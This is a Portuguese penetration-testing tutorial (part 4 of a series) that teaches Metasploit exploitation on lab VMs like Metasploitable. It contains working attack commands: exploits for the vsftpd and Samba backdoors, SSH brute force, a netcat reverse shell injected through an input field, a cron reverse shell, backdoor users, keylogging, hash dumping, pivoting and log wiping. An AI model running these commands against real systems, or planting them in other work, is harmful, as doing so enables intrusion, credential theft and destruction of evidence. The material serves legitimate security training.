O Caminho do Hacker: Série de 5 Partes
Parte 1: Introdução → Parte 2: Domínio do Flipper → Parte 3: Fundamentos do Kali → Parte 4: Exploitation → Parte 5: A Auditoria Completa
Nas Partes 1-3, você construiu seu toolkit. Consegue clonar crachás, mapear redes, capturar handshakes e identificar cada serviço rodando num alvo. Agora você vê vulnerabilidades em todo lugar. Mas ver uma vulnerabilidade e explorá-la são habilidades muito diferentes.
É aqui que as coisas ficam reais. Hoje você vai aprender a usar o Metasploit Framework, a mesma ferramenta usada por penetration testers profissionais no mundo todo. Vai explorar sua primeira vulnerabilidade, estabelecer persistence, escalar privilégios e aprender a fazer pivot numa rede.
A Linha que Você Não Deve Cruzar
Tudo neste artigo deve ser praticado em sistemas que você possui ou tem permissão escrita explícita para testar. Acesso não autorizado a sistemas computacionais é crime federal com penas de até 20 anos de prisão. "Eu estava só aprendendo" não é defesa. Monte um laboratório, use VMs intencionalmente vulneráveis e nunca toque em sistemas que não são seus.
Parte 1: Montando Seu Laboratório de Ataque
Antes de explorar qualquer coisa, você precisa de alvos. Penetration testers reais usam ambientes de laboratório isolados com máquinas intencionalmente vulneráveis. Você fará o mesmo.
A Configuração Essencial do Laboratório
O Que Você Vai Precisar
- Kali Linux VM - Sua máquina de ataque (da Parte 3)
- Metasploitable 2 - VM Linux intencionalmente vulnerável (SourceForge)
- Metasploitable 3 - VM vulnerável Windows/Linux (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - Máquinas vulneráveis estilo CTF (vulnhub.com)
Projeto: Configuração da Rede do Laboratório
Tempo: 45 minutos
- Baixe o Metasploitable 2 do SourceForge
- Importe no VirtualBox/VMware
- Configure a rede: Coloque tanto o Kali quanto o Metasploitable em "Host-Only" ou "Internal Network"
- Inicie o Metasploitable (login padrão:
msfadmin/msfadmin) - Anote o endereço IP:
ifconfig - Do Kali, verifique a conectividade:
ping METASPLOITABLE_IP - Execute o scan inicial:
sudo nmap -sV -sC METASPLOITABLE_IP
Verificação: Você deve ver dezenas de portas abertas. O Metasploitable foi projetado para ser comprometido.
Seu scan nmap do Metasploitable deve revelar serviços como FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL e outros, muitos rodando versões desatualizadas e vulneráveis. Este é seu campo de testes.
Parte 2: Fundamentos do Metasploit Framework
Metasploit não é apenas uma ferramenta. É um ecossistema. Contém milhares de exploits, payloads, módulos auxiliares e ferramentas de post-exploitation. Entender sua estrutura é essencial.
Iniciando o Metasploit
bash# Initialize the database (first time only)
sudo msfdb init
# Start Metasploit console
msfconsole
# You'll see the Metasploit banner and prompt:
msf6 >A Estrutura do Metasploit
O Metasploit organiza tudo em módulos:
- Exploits - Código que explora vulnerabilidades
- Payloads - Código executado após a exploração (shells, meterpreter)
- Auxiliary - Scanners, fuzzers e outros utilitários
- Post - Módulos de post-exploitation para persistence, pivoting
- Encoders - Ofuscação de payloads para evadir detecção
bash# Search for modules
msf6 > search type:exploit platform:linux smb
# Search by CVE
msf6 > search cve:2017-0144
# Search by name
msf6 > search vsftpd
# Get info about a module
msf6 > info exploit/unix/ftp/vsftpd_234_backdoorO Fluxo de Trabalho de Exploitation
Toda exploitation no Metasploit segue o mesmo padrão:
- Selecione um exploit -
use exploit/path/to/module - Configure as opções - IP do alvo, portas, credenciais
- Selecione um payload - O que roda após a exploração
- Execute -
exploitourun
Parte 3: Seu Primeiro Exploit
Vamos explorar um dos backdoors mais famosos da história: o backdoor vsftpd 2.3.4. Em 2011, alguém inseriu um backdoor no código-fonte do vsftpd. Se você enviar um nome de usuário terminando em :), um shell abre na porta 6200.
O Metasploitable 2 roda exatamente essa versão.
bash# Start Metasploit
msfconsole
# Search for the exploit
msf6 > search vsftpd
# Select the exploit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
# Set the target
msf6 exploit(...) > set RHOSTS 192.168.56.101
# Run the exploit
msf6 exploit(...) > exploit
# If successful:
[*] Command shell session 1 opened
[+] Got shell!
# You now have a root shell on the target
whoami
root
id
uid=0(root) gid=0(root)É isso. Um serviço vulnerável, um exploit, acesso root. É por isso que manter o software atualizado importa.
Projeto: Explorar o Backdoor vsftpd
Tempo: 15 minutos
Pré-requisitos: Metasploitable 2 rodando, Kali na mesma rede
- Verifique se o FTP está rodando:
nmap -sV -p 21 TARGET_IP - Inicie o msfconsole
- Procure, selecione e configure o exploit vsftpd
- Execute o exploit
- Após obter o shell, explore:
cat /etc/shadow
Critérios de sucesso: Você consegue ler /etc/shadow, que só o root pode acessar.
Parte 4: Entendendo Payloads
Um payload é o que roda após o exploit ter sucesso. O shell básico que obtivemos acima é simples, mas o Metasploit oferece opções muito mais poderosas.
Tipos de Payload
- Singles - Payloads autônomos, de uso único (adicionar usuário, executar comando)
- Stagers - Pequenos payloads que estabelecem conexão e depois baixam o payload principal
- Stages - O payload principal baixado pelo stager (Meterpreter)
bash# List compatible payloads for current exploit
msf6 exploit(...) > show payloads
# Set a specific payload
msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
# Payload naming convention:
# platform/arch/payload_type/connection_type
# linux/x86/meterpreter/reverse_tcp
# windows/x64/shell/bind_tcpReverse vs Bind Shells
- Reverse shell - O alvo se conecta de volta a você. Melhor para contornar firewalls (saída geralmente é permitida).
- Bind shell - O alvo abre uma porta para você se conectar. Mais fácil de detectar, frequentemente bloqueado por firewalls.
bash# For reverse shells, you must set your IP
msf6 exploit(...) > set LHOST YOUR_KALI_IP
msf6 exploit(...) > set LPORT 4444
# Metasploit starts a listener automatically when you exploitMeterpreter: O Payload Definitivo
O Meterpreter é o payload mais poderoso do Metasploit. Roda inteiramente em memória (sem arquivos no disco), fornece comunicação criptografada e inclui dezenas de comandos integrados para post-exploitation.
bash# Meterpreter commands (once you have a session)
meterpreter > sysinfo # System information
meterpreter > getuid # Current user
meterpreter > pwd # Current directory
meterpreter > ls # List files
meterpreter > download file # Download file to Kali
meterpreter > upload file # Upload file to target
meterpreter > shell # Drop to system shell
meterpreter > hashdump # Dump password hashes
meterpreter > screenshot # Take screenshot
meterpreter > keyscan_start # Start keylogger
meterpreter > keyscan_dump # Dump keystrokes
meterpreter > background # Background this sessionParte 5: Mais Técnicas de Exploitation
Explorando Samba (SMB)
O Metasploitable 2 roda uma versão vulnerável do Samba. Isso é similar ao infame exploit EternalBlue usado no WannaCry.
bash# Search for Samba exploits
msf6 > search type:exploit samba
# The "username map script" vulnerability
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > exploit
[*] Command shell session 2 openedExplorando Credenciais Fracas
Nem todo comprometimento requer uma vulnerabilidade de software. Senhas fracas estão em todo lugar.
bash# SSH brute-force auxiliary module
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS TARGET_IP
msf6 auxiliary(...) > set USERNAME root
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > set STOP_ON_SUCCESS true
msf6 auxiliary(...) > run
# For known credentials
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run
[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Exploitation de Aplicações Web
O Metasploitable inclui várias aplicações web vulneráveis. Vamos explorar uma injeção de código PHP.
bash# First, browse to http://TARGET/mutillidae/
# Find the "User Lookup" page (vulnerable to SQLi and code injection)
# Use Metasploit's web exploits
msf6 > search type:exploit php
# Or exploit manually with command injection:
# In vulnerable input field:
; cat /etc/passwd
; nc -e /bin/bash YOUR_IP 4444Projeto: Explorar Três Serviços Diferentes
Tempo: 60 minutos
Alvo: Metasploitable 2
- Explore o backdoor vsftpd (FTP - porta 21) e obtenha root shell
- Explore o Samba usermap_script (SMB - porta 139/445) e obtenha root shell
- Quebre credenciais SSH (porta 22) usando auxiliary/scanner/ssh/ssh_login
- Documente cada exploitation: módulo usado, opções configuradas, resultado
Bônus: Explore as aplicações web na porta 80 e encontre vetores de exploitation manuais.
Parte 6: Post-Exploitation
Obter um shell é só o começo. Penetration tests reais exigem demonstrar o que um atacante poderia fazer com esse acesso. Isso é post-exploitation.
Coleta de Informações
text# From a Meterpreter session
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24
Architecture: i686
Meterpreter : x86/linux
# Network information
meterpreter > ipconfig
meterpreter > route
meterpreter > arpbash# From a regular shell
cat /etc/passwd # All users
cat /etc/shadow # Password hashes (requires root)
cat /etc/hosts # Network mappings
netstat -tulpn # Open ports
ps aux # Running processes
crontab -l # Scheduled tasksColeta de Credenciais
text# Dump password hashes
meterpreter > hashdump
root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bashbash# Or from shell
cat /etc/shadow
# Crack hashes offline with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Or hashcat (faster with GPU)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtEstabelecendo Persistence
Persistence significa manter o acesso mesmo após reinicializações ou quando seu vetor de exploit inicial foi corrigido.
bash# Add a new user with sudo access
useradd -m -s /bin/bash hacker
echo "hacker:password123" | chpasswd
usermod -aG sudo hacker
# Add SSH key for passwordless access
mkdir /home/hacker/.ssh
echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
# Cron-based reverse shell (reconnects every minute)
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
# Metasploit persistence module
meterpreter > run persistence -h
meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPPersistence = Evidência
Todo mecanismo de persistence deixa rastros. Num penetration test real, você documenta o que poderia fazer e depois limpa. Deixar backdoors em sistemas de clientes é antiprofissional e potencialmente ilegal. No seu laboratório, vá fundo, mas entenda as implicações.
Parte 7: Escalação de Privilégios
Frequentemente você obtém acesso inicial como um usuário de baixo privilégio. Escalar para root/admin geralmente é necessário para atingir os objetivos do teste.
Escalação de Privilégios no Linux
bash# Current user context
id
whoami
# SUID binaries (run as owner regardless of who executes)
find / -perm -4000 -type f 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
# Sudo permissions
sudo -l
# Kernel version (for kernel exploits)
uname -a
# Running processes as root
ps aux | grep root
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*Scripts de Enumeração Automatizados
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
bash# Upload and run LinPEAS
# From Kali, host the script:
python3 -m http.server 8000
# From target:
wget http://YOUR_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# LinPEAS highlights potential vectors in colors:
# RED/YELLOW = Critical findings, likely exploitableVetores Comuns de Privesc no Linux
bash# 1. Sudo misconfiguration
sudo -l
# If you see: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'
# Instant root shell
# 2. SUID binary exploitation
# If /usr/bin/find has SUID bit:
find . -exec /bin/sh -p \;
# 3. Writable /etc/passwd
# Generate password hash:
openssl passwd -1 mypassword
# Add to /etc/passwd:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
# 4. Cron job exploitation
# If a cron runs a writable script as root:
echo 'chmod +s /bin/bash' >> /path/to/cron/script
# Wait for cron, then:
/bin/bash -p
# Root shellEscalação de Privilégios no Windows
Se estiver testando alvos Windows (Metasploitable 3), as técnicas são diferentes:
text# From Meterpreter on Windows
meterpreter > getuid
Server username: VICTIM\lowpriv_user
meterpreter > getsystem
[+] ...got SYSTEM
# If getsystem fails, try:
meterpreter > run post/multi/recon/local_exploit_suggester
# Or background and use specific exploit:
meterpreter > background
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > exploitProjeto: Escalar de Usuário para Root
Tempo: 45 minutos
Cenário: Você tem acesso SSH ao Metasploitable como msfadmin (não root)
- SSH para o Metasploitable:
ssh msfadmin@TARGET - Execute
idpara confirmar que não é root - Verifique permissões sudo:
sudo -l - Procure binários SUID:
find / -perm -4000 2>/dev/null - Faça upload e execute o LinPEAS
- Identifique um vetor de privesc e explore-o
Objetivo: Obter root shell usando algo diferente de explorar um serviço de rede.
Parte 8: Pivoting
Pivoting é usar um sistema comprometido para atacar outros sistemas que não são diretamente acessíveis pela sua máquina de ataque. É assim que atacantes se movem lateralmente pelas redes.
O Cenário de Pivot
Imagine esta rede:
- Seu Kali: 192.168.1.100
- Host comprometido: 192.168.1.50 (também conectado à rede interna 10.0.0.0/24)
- Alvo: 10.0.0.10 (acessível apenas pelo 192.168.1.50)
Você não consegue alcançar 10.0.0.10 diretamente. Mas através do host comprometido, consegue.
Roteamento do Metasploit
text# After getting a Meterpreter session on the pivot host
meterpreter > ipconfig
# Shows two interfaces: 192.168.1.50 and 10.0.0.50
meterpreter > run autoroute -s 10.0.0.0/24
[+] Added route to 10.0.0.0/24 via session 1
meterpreter > background
# Now Metasploit routes 10.0.0.0/24 traffic through session 1
msf6 > route print
# Scan the internal network
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
msf6 auxiliary(...) > set PORTS 22,80,443,445
msf6 auxiliary(...) > run
# Exploit internal targets through the pivot
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set RHOSTS 10.0.0.10
msf6 exploit(...) > exploitSOCKS Proxy para Acesso Completo
bash# Set up a SOCKS proxy through Meterpreter
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVPORT 1080
msf6 auxiliary(...) > run
# Configure proxychains (/etc/proxychains4.conf)
socks5 127.0.0.1 1080
# Now any tool can access the internal network
proxychains nmap -sT -Pn 10.0.0.10
proxychains curl http://10.0.0.10
proxychains ssh [email protected]SSH Tunneling (Sem Metasploit)
bash# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host
# Local port forwarding (specific port)
ssh -L 8080:10.0.0.10:80 user@pivot_host
# Now localhost:8080 reaches 10.0.0.10:80
# Remote port forwarding (expose your service to internal network)
ssh -R 4444:localhost:4444 user@pivot_host
# Internal hosts can reach your port 4444 via pivot_host:4444Parte 9: Cobrindo Rastros
Penetration testers profissionais documentam seu acesso mas limpam depois. Entender como atacantes cobrem rastros também ajuda a detectar intrusões.
bash# Clear bash history
history -c
cat /dev/null > ~/.bash_history
# Clear auth logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/wtmp
echo "" > /var/log/btmp
# Remove specific log entries
sed -i '/YOUR_IP/d' /var/log/auth.log
# Timestomp (change file timestamps)
touch -r /etc/passwd /path/to/your/file
# Meterpreter
meterpreter > clearev # Clear Windows event logs
meterpreter > timestomp file -m "01/01/2020 12:00:00"Em Trabalhos Reais: Não Faça Isso
Pentesters profissionais documentam seu acesso e reportam suas descobertas. Não as escondem. Limpar logs destrói evidências que os defensores precisam para entender o caminho do ataque. Pratique estas técnicas apenas no seu ambiente de laboratório isolado.
O Caminho do Hacker
Uma série de 5 partes que leva você de curioso a capaz.
Parte 1: Introdução Parte 2: Domínio do Flipper Parte 3: Fundamentos do Kali Parte 4: Exploitation ✓ Parte 5: Auditoria Completa
Checklist da Parte 4
☐ Setup do Laboratório: Metasploitable 2 rodando, rede isolada configurada
☐ Metasploit: Banco de dados inicializado, navegação básica dominada
☐ Primeiro Exploit: Backdoor vsftpd explorado, root shell obtido
☐ Múltiplos Vetores: FTP, SMB explorados e credenciais SSH quebradas
☐ Post-Exploitation: Hashes de senha extraídos, sistema enumerado
☐ Escalação de Privilégios: Escalou de usuário para root sem exploit de rede
☐ Pivoting: Conceitos de autoroute e SOCKS proxy compreendidos
☐ Documentação: Todos os exploits documentados com passos e evidências
O Que Vem Depois
Você aprendeu a explorar vulnerabilidades, escalar privilégios e fazer pivot através de redes. Viu como rapidamente uma única fraqueza se torna um comprometimento total. Você entende o que penetration testers profissionais fazem.
Na Parte 5, juntamos tudo. Você conduzirá uma auditoria de segurança completa do início ao fim:
- Escopo e regras de engajamento
- Metodologia completa de reconhecimento
- Exploitation sistemático
- Post-exploitation abrangente
- Relatório profissional
- Recomendações de remediação
A Parte 5 é o ponto alto. Tudo que você aprendeu nesta série se une numa metodologia do mundo real que pode usar para avaliar a segurança de qualquer rede que esteja autorizado a testar.
Você aprendeu as técnicas. Agora aprende a metodologia. A Parte 5 transforma habilidades num fluxo de trabalho completo de penetration testing.
Nos vemos na Parte 5.